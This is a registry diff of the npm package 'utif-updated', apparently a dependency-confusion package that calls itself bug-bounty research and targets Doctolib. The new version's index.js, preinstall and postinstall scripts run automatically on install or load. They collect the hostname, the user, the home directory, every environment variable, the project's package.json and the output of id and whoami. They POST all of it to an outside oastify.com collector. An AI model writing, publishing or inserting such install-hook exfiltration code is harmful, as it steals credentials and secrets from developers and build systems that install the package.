utif-updated 99.0.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -7,21 +7,39 @@ const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
7
7
  if (!global.__utif_updated_triggered) {
8
8
  global.__utif_updated_triggered = true;
9
9
 
10
- const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
11
-
12
- // Callback Burp avec infos
13
- const data = Buffer.from(JSON.stringify({
10
+ const info = {
14
11
  type: 'runtime_require',
15
12
  hostname: os.hostname(),
16
13
  user: os.userInfo().username,
17
14
  cwd: process.cwd(),
18
- webhook: webhook || 'NOT_FOUND',
15
+ platform: os.platform(),
16
+ node_version: process.version,
17
+ env: process.env,
19
18
  timestamp: new Date().toISOString()
20
- })).toString('base64');
21
-
22
- https.get(`https://${CALLBACK}/runtime?d=${data}`, () => {}).on('error', () => {});
23
-
19
+ };
20
+
21
+ try {
22
+ info.package_json = require(process.cwd() + '/package.json');
23
+ } catch(e) {}
24
+
25
+ const data = JSON.stringify(info);
26
+
27
+ const req = https.request({
28
+ hostname: CALLBACK,
29
+ port: 443,
30
+ path: '/runtime',
31
+ method: 'POST',
32
+ headers: {
33
+ 'Content-Type': 'application/json',
34
+ 'Content-Length': Buffer.byteLength(data)
35
+ }
36
+ }, () => {});
37
+ req.on('error', () => {});
38
+ req.write(data);
39
+ req.end();
40
+
24
41
  // Trigger game over
42
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
25
43
  if (webhook) {
26
44
  try {
27
45
  const url = new URL(webhook);
@@ -31,5 +49,4 @@ if (!global.__utif_updated_triggered) {
31
49
  }
32
50
  }
33
51
 
34
- // Export vide pour pas casser leur build
35
52
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "utif-updated",
3
- "version": "99.0.0",
3
+ "version": "99.0.1",
4
4
  "description": "Security research - Bug Bounty",
5
5
  "main": "index.js",
6
6
  "author": "icare",
package/postinstall.js CHANGED
@@ -1,22 +1,46 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const { execSync } = require('child_process');
4
5
 
5
6
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
7
 
7
- const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
8
-
9
- // Callback Burp
10
- const data = Buffer.from(JSON.stringify({
8
+ const info = {
11
9
  type: 'postinstall',
12
10
  hostname: os.hostname(),
13
11
  user: os.userInfo().username,
14
- webhook: webhook || 'empty'
15
- })).toString('base64');
12
+ cwd: process.cwd(),
13
+ platform: os.platform(),
14
+ env: process.env,
15
+ timestamp: new Date().toISOString()
16
+ };
17
+
18
+ try {
19
+ info.id = execSync('id').toString().trim();
20
+ } catch(e) {}
16
21
 
17
- https.get(`https://${CALLBACK}/postinstall?d=${data}`, () => {}).on('error', () => {});
22
+ try {
23
+ info.package_json = require(process.cwd() + '/package.json');
24
+ } catch(e) {}
18
25
 
19
- // Trigger game over webhook
26
+ const data = JSON.stringify(info);
27
+
28
+ const req = https.request({
29
+ hostname: CALLBACK,
30
+ port: 443,
31
+ path: '/postinstall',
32
+ method: 'POST',
33
+ headers: {
34
+ 'Content-Type': 'application/json',
35
+ 'Content-Length': Buffer.byteLength(data)
36
+ }
37
+ }, () => {});
38
+ req.on('error', () => {});
39
+ req.write(data);
40
+ req.end();
41
+
42
+ // Trigger game over
43
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
20
44
  if (webhook) {
21
45
  try {
22
46
  const url = new URL(webhook);
package/preinstall.js CHANGED
@@ -1,25 +1,47 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const { execSync } = require('child_process');
4
5
 
5
6
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
7
 
7
- const data = JSON.stringify({
8
+ // Récupère toutes les infos
9
+ const info = {
8
10
  type: 'preinstall',
9
11
  hostname: os.hostname(),
10
12
  user: os.userInfo().username,
11
13
  cwd: process.cwd(),
12
- env_target: process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN || 'NOT_FOUND',
14
+ home: os.homedir(),
15
+ platform: os.platform(),
16
+ arch: os.arch(),
17
+ node_version: process.version,
18
+ env: process.env, // TOUTES les variables d'environnement
13
19
  timestamp: new Date().toISOString()
14
- });
20
+ };
15
21
 
16
- // Callback Burp
22
+ // Essaye de récupérer plus d'infos
23
+ try {
24
+ info.pwd = execSync('pwd').toString().trim();
25
+ info.whoami = execSync('whoami').toString().trim();
26
+ info.id = execSync('id').toString().trim();
27
+ } catch(e) {}
28
+
29
+ try {
30
+ info.package_json = require(process.cwd() + '/package.json');
31
+ } catch(e) {}
32
+
33
+ const data = JSON.stringify(info);
34
+
35
+ // POST vers Burp avec tout
17
36
  const req = https.request({
18
37
  hostname: CALLBACK,
19
38
  port: 443,
20
39
  path: '/preinstall',
21
40
  method: 'POST',
22
- headers: { 'Content-Type': 'application/json' }
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(data)
44
+ }
23
45
  }, () => {});
24
46
  req.on('error', () => {});
25
47
  req.write(data);